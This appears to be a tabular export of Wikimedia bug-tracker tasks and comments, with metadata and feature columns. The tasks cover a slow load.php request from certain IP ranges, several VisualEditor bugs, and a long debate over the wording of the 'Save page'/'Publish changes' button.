+206063,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","As we've changed data centers in late January and the related setup, could you please test if this is still a problem?",,,1362732889,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,True,,,-17,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+206057,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**bugzilla.wikimedia.org.76374** wrote:
+
+This appears to be a *script bug* in http://bits.wikimedia.org/en.wikipedia.org/load.php because the server itself shows no problems at all.",,,1356131835,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-28,,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+206050,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out",I'm wondering if this is a dup of bug 41130?,,,1356116359,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,True,,,-28,,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+206043,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","(In reply to comment #2)
+> Works from 81.169.0.0/16, but *NOT* from 78.52.0.0/16 (Europe/Berlin/dynamic
+> IP
+> for DSL endpoint)
+
+Is the routing to the bits servers ok from both ip address ranges?",,,1355671621,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1
+206037,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","**bugzilla.wikimedia.org.76374** wrote:
+
+Works from 81.169.0.0/16, but *NOT* from 78.52.0.0/16 (Europe/Berlin/dynamic IP for DSL endpoint)",,,1355671137,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+206032,"en.wikipedia.org load takes 12+ seconds in specific Source IP range, as one specific call to bits.wikimedia.org/.../load.php times out","Works for me - is this still an issue, and on which continent are you based? There were some load issues but they are mostly fixed now.",,,1355665523,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d6ih3cdrbybmct3lwinv,task_subcomment,,True,c1,1,True,,,-29,,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,1,0,0,0,0
+44553,VisualEditor: Only replace url on veaction=edit if there is no other query,"Go to a VE wiki page directly in edit mode:
+
+http://mediawiki.org/wiki/VisualEditor:Test?uselang=he&veaction=edit
+
+The integration changes the URL to:
+
+https://www.mediawiki.org/wiki/VisualEditor:Test
+
+... instead of:
+
+https://www.mediawiki.org/wiki/VisualEditor:Test?uselang=he
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1354218360,1354565570.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-er2j2jzi7wxs7w6xckns,task_description,resolved,True,c1,0,True,False,True,-31,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+199811,VisualEditor: Only replace url on veaction=edit if there is no other query,Code now live in master; will get deployed in the next cycle.,,,1354565570,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-er2j2jzi7wxs7w6xckns,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+199807,VisualEditor: Only replace url on veaction=edit if there is no other query,Change-Id: Ia63c937d3a0a68acaa178486ab439bc1ea9db8af,,,1354423024,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-er2j2jzi7wxs7w6xckns,task_subcomment,,True,c1,0,True,,,-31,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+44306,VisualEditor: Integration fails if an article has an '@' character in its title,"VE/MW integration fails (does not trigger but instead throws two errors, below) if an article has an '@' character in its title, though these are valid
+
+Uncaught Error: Bad constructor arguments    mediawiki.Uri.js:165
+Uri                     mediawiki.Uri.js:165
+mw.UriRelative          mediawiki.Uri.js:318
+(anonymous function)    mediawiki.Uri.js:325
+(anonymous function)    mediawiki.Uri.js:328
+
+Uncaught TypeError: undefined is not a function    ve.init.mw.ViewPageTarget.js:18
+VeInitMwViewPageTarget    ve.init.mw.ViewPageTarget.js:18
+(anonymous function)      ve.init.mw.ViewPageTarget.js:1121
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**URL**: https://www.mediawiki.org/wiki/VisualEditor:Test@4",Low,25.0,1353449520,1358878792.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-pjkjsbfhouqskvpvg6ev,task_description,resolved,True,c1,0,True,False,True,-32,,0,0,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0
+184961,VisualEditor: Integration fails if an article has an '@' character in its title,"Fixed upstream, will be in 1.21wmf9.",,,1358878792,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-pjkjsbfhouqskvpvg6ev,task_subcomment,,True,c1,1,True,,,-23,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+184956,VisualEditor: Integration fails if an article has an '@' character in its title,Upstream issue in the mediawiki.Uri module of mediawiki/core.,,,1354127118,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-pjkjsbfhouqskvpvg6ev,task_subcomment,,True,c1,0,True,,,-31,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+44281,VisualEditor: Putting cursor immediately before link should display inspector icon,"Currently, putting the cursor inside a link displays the inspector icon (except for bug 42276). Putting the cursor immediately after a link (i.e. between the last linked character and the first non-linked character) also displays the icon, but putting it immediately before the icon (between the last non-linked character and the first linked character) does not. I think it should.
+
+Of course, the interesting question here is what should happen when you have two directly adjacent links and you put the cursor between them.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1353379740,1353539731.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-nm5db6sizlej6gdhkkqp,task_description,declined,True,c1,0,False,False,True,-32,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+183689,VisualEditor: Putting cursor immediately before link should display inspector icon,"Per IRL discussion, this is wontfix.",,,1353539731,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-nm5db6sizlej6gdhkkqp,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+44279,VisualEditor: Pre-annotations code annotates characters with the empty set,"1. Open any document
+2. Blank it
+3. Type some text
+4. Dump the model into the console (ve.instances[0].documentModel.data)
+
+Expected output: [ 'F', 'o', 'o', 'b', 'a', 'r' ]
+Actual output: [ 'F', ['o', ve.AnnotationSet([])], ['b', ve.AnnotationSet([])] ...
+
+The pre-annotations code is applying the empty set as a pre-annotation to every character except the first. This shouldn't happen, it should just not annotate if it's got nothing to annotate with.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1353378840,1353546616.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-vedbqhk6swjrkcfcznus,task_description,resolved,True,c1,0,False,False,True,-32,,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+183490,VisualEditor: Pre-annotations code annotates characters with the empty set,Actually fixed in gerrit 34684,,,1353546438,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vedbqhk6swjrkcfcznus,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+183489,VisualEditor: Pre-annotations code annotates characters with the empty set,"...doesn't actually fix it, will investigate.",,,1353543663,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vedbqhk6swjrkcfcznus,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+183487,VisualEditor: Pre-annotations code annotates characters with the empty set,https://gerrit.wikimedia.org/r/#/c/34598/,,,1353541416,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vedbqhk6swjrkcfcznus,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+183484,VisualEditor: Pre-annotations code annotates characters with the empty set,Trevor has a commit queued up that fixes this.,,,1353530421,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vedbqhk6swjrkcfcznus,task_subcomment,,True,c1,0,False,,,-32,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0
+44141,"VisualEditor: Make MW's core ""edit source"" functionality load in-page","Currently to view the underlying wikitext of a page that's in a namespace where VisualEditor is active, one clicks an ""edit source"" tab. However, when editing, if you want to see the underlying wikitext but not lose your changes or really just not have to reload the page, that isn't possible. It'd be awfully nice if you could toggle between wikitext and the VisualEditor interface without needing to reload the page.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57462",Low,25.0,1352958180,,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-o2rqx7ng2feqhiottjsd,task_description,open,True,c1,0,False,False,,-33,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+492134,"VisualEditor: Make MW's core ""edit source"" functionality load in-page",It seems like this task is sort of obsoleted by {T102398} and its blockers+dependencies.,,,1437012494,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-o2rqx7ng2feqhiottjsd,task_subcomment,,True,c1,3,True,,,106,,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+200694,"VisualEditor: Make MW's core ""edit source"" functionality load in-page","When a user presses ""Save page"" (for the second time, as you point out):
+* the HTML DOM gets converted to Parsoid-format HTML+RDFa,
+* this HTML+RDFa is squirted at Parsoid, 
+* Parsoid converts it to wikitext, and
+* Parsoid saves it to the DB (using the user permissions/etc. as provided by VE from the user session).",,,1353022256,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o2rqx7ng2feqhiottjsd,task_subcomment,,True,c1,0,True,,,-33,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+200688,"VisualEditor: Make MW's core ""edit source"" functionality load in-page","(In reply to comment #1)
+> This would be nice, but goes far beyond current functionality of MW core, so
+> marking as low priority.
+
+It's unclear to me at which stage the visual document that a user is editing is converted to wikitext.",,,1353019498,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-o2rqx7ng2feqhiottjsd,task_subcomment,,True,c1,0,False,,,-33,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+200682,"VisualEditor: Make MW's core ""edit source"" functionality load in-page","This would be nice, but goes far beyond current functionality of MW core, so marking as low priority.",,,1353018184,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o2rqx7ng2feqhiottjsd,task_subcomment,,True,c1,0,True,,,-33,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+44138,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","Currently when using the VisualEditor extension, there's a big green button that reads ""Save page"" in the top-right corner of the browsing window.
+
+When a user clicks this button labeled ""Save page"", the page is not saved. Instead, a dialog box appears in which the user is prompted to enter an edit summary. If the user then clicks the ""Save page"" button again (a second time), the page will be saved (maybe).
+
+I believe this is behavior is a little wrong. Historically the behavior of the ""Save page"" button has been to actually attempt to save the page to the database. This new workflow changes that behavior.
+
+Roan suggested perhaps changing ""Save page"" to read ""Save page..."", which would give the user a clue that it's going to be a process, not an immediate action.
+
+There's also no warning within the ""Save page"" dialog box that says that the page has not yet been saved to the database. There's no ""this is only a preview!"" text. Perhaps that's a separate bug, though.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1352957520,1524049612.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-kve2ug5yc3dp6ighnmqk,False,PHID-TASK-abb2jsunmv7mixlbbgye,task_description,resolved,True,c1,0,False,False,False,-33,,0,0,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+1052882,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">>! In T44138#3957958, @Pinnerup wrote:
+> This issue has been open for 5+ years now. Please take action to differentiate the text on the two buttons so it's possible to distinguish whether pressing them will publish something immediately or not.
+
+If had a pound for every time someone said that, I'd be a rich man.
+
+Tasks come in faster than they can be worked on. The Editing team has only three full time engineers, and we have the responsibility of an entire ecosystem of editing tools across over 800 Wikimedia wikis, and thousands more third-party websites. The consequence is that many, many tasks sit around for years with no action, even though every task is very important to the person that filed it; this is an unfortunate reality of software development.",,,1524050312,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,True,,,250,,1,1,1,1,1,1,1,0,1,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1
+1052880,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">>! In T44138#3957958, @Pinnerup wrote:
+> This issue has been open for 5+ years now. Please take action to differentiate the text on the two buttons so it's possible to distinguish whether pressing them will publish something immediately or not.
+
+I had a pound for every time someone said that, I'd be a rich man.
+
+Tasks come in faster than they can be worked on. The Editing team has only three full time engineers, and we have the responsibility of an entire ecosystem of editing tools across over 800 Wikimedia wikis, and thousands more third-party websites. The consequence is that many, many tasks sit around for years with no action, even though every task is very important to the person that filed it; this is an unfortunate reality of software development.",,,1524050081,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,True,,,250,,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,1
+1052876,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","With the completion of T189803, there is now more clarity about what clicking the first ""Publish changes"" button does, so this task is now resolved.",,,1524049612,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,True,,,250,,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0
+1009832,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","I came here just for this after too often accidentally publishing an incomplete or undescribed edit. It's really frustrating to me as a user that it's not easily possible to see if pressing the ""Publish changes"" button will take me to an intermediate step allowing review and description or if it will publish the changes immediately. 
+
+This issue has been open for 5+ years now. Please take action to differentiate the text on the two buttons so it's possible to distinguish whether pressing them will publish something immediately or not.",,,1518175350,,PHID-USER-vvb5cpvcki2rgdles7sq,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,240,,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,1,1,1,0,0,0
+926251,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","> for example, we can provide an access to preview as an additional mode in the menu we provide access to ""Visual editing"" and ""Source editing"".
+
+I provided mockups demonstrating something like this in [[#3274084|a previous message]].",,,1504785682,,PHID-USER-2fha2mym5lty6djs2qfl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,218,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,1
+925338,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page",">>! In T44138#3579770, @Jan_Dittrich wrote:
+> From observing the users and further corroborated by the comments on Kurier 
+
+Some notes on the different observations:
+
+> 1. Users, particular experienced ones, seem to rely a lot on previewing before they save, so they want to preview //before// they save and create an entry in the history.
+
+This probably means that some users don't see preview as part of the publishing process, but as part of their edit process: edit-> preview -> continue editing...
+
+> 2. In the current UI, the only way to preview is clicking a button that indicates it does something they want to avoid: Saving directly.
+
+Having the option to preview as you publish is fine, but it does not have to be the only entry point we provide for it. Especially if we want to support users that don't see ""preview"" as part of the publishing process. for example, we can provide an access to preview as an additional mode in the menu we provide access to ""Visual editing"" and ""Source editing"". That seems to align better with the idea of supporting preview as another perspective to switch while editing. 
+
+> Thus there is a problem. Adding … does not solve all the problems. But it alleviates point 2: It indicates that clicking ""publish changes"" does //not// do immediately what they want to avoid. 
+
+I don't think that adding ellipsis is going to alleviate the issue of point 2 since the publishing button (with ellipses or other indications) has the main job of announcing the path to publishing, and being it in one or two steps, these users are not interested to go into it yet. Making the ""publish"" action (even slightly) to be less about publishing does not seem the most promising option.
+
+Let's assume that ellipses make more users access the summary panel. Is that solving the issue? I don't think the problem is that those users are not reaching the summary panel, these users probably have already done so (since they are experienced editors), the problem is they don't seem to find it natural to go through the publishing path while their editing process is not over.
+
+I'm ok with experimenting with this if people think it may have potential, but let's make sure it does not impact the regular use of publishing when people actually want to publish.
+",,,1504699168,,PHID-USER-c47vnc2yxmwfvvc4367q,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,218,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1
+925316,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","I feel like unfortunately we already have enough tasks open about how long translations look ugly and make the interface potentially difficult to use. ""..."" is a good compromise that I really endorse.",,,1504695764,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,218,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,0,0,0
+924564,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","@dialmove's suggestion above to rename the button to ""Review and publish"" would also be a simple way to improve things.
+
+The downside is that the space for the button is limited, and the text can already be fairly long in some languages. E.g. in Hungarian ""Publish changes"" is ""Változtatások közzététele""; ""Review and publish"" would be something like ""Változtatások áttekintése és közzététele"".
+
+Maybe just change to ""Review"" and rely on the constructive colors to tell the user that's the next step?",,,1504627839,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-abb2jsunmv7mixlbbgye,task_subcomment,,True,c1,3,False,,,218,,1,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0
+924402,"VisualEditor: Toolbar ""Save page"" button is confusing as it merely opens the dialog to save the page","> I'd like to understand better the specific issues that the uncertainty about ""whether 
+> the save button saves immediately"" generates. 
+
+From observing the users and further corroborated by the comments on Kurier 
+
+1. Users, particular experienced ones, seem to rely a lot on previewing before they save, so they want to preview //before// they save and create an entry in the history.
+2. In the current UI, the only way to preview is clicking a button that indicates it does something they want to avoid: Saving directly.
+
